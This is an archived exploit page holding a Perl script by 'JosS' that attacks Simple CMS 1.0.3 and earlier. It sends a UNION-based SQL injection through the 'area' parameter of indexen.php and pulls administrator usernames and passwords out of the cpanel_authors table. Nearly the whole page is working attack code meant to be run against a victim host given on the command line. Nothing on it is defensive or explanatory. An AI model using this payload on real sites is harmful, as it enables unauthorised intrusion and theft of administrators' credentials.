[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit
# Published : 2008-02-16
# Author : JosS
# Previous Title : AuraCMS 1.62 Multiple Remote SQL Injection Exploit
# Next Title : Joomla Component jooget <= 2.6.8 Remote SQL Injection Vulnerability
#!/usr/bin/perl
# Simple CMS <= 1.0.3 (?area=) Remote SQL Injection Exploit
# Code by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project
# http://www.spanish-hackers.com
# special thanks to ka0x
print "tt########################################################nn";
print "tt# Simple CMS <= 1.0.3 Remote SQL Injection Exploit #nn";
print "tt# by JosS #nn";
print "tt########################################################nn";
use strict;
use LWP::UserAgent;
my $victim = $ARGV[0];
if(!$ARGV[0]) {
print "n[x] Simple CMS <= 1.0.3 Remote SQL Injection Exploitn";
print "[x] written by JosS - sys-project[at]hotmail.comn";
print "[x] usage: perl xpl.pl [host]n";
print "[x] example: http://localhost/path/nn";
exit(1);
}
print "n[+] connecting in $victim...n";
my $cnx = LWP::UserAgent->new() or die;
my $go=$cnx->get($victim."/indexen.php?area=-1+union+select+1,concat(0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f),3,4,5+from+cpanel_authors/*");
if ($go->content =~ m/____(.*?)____/ms) {
print "$1n";
} else {
print "n[-] exploit failedn";
}
# www.Syue.com [2008-02-16]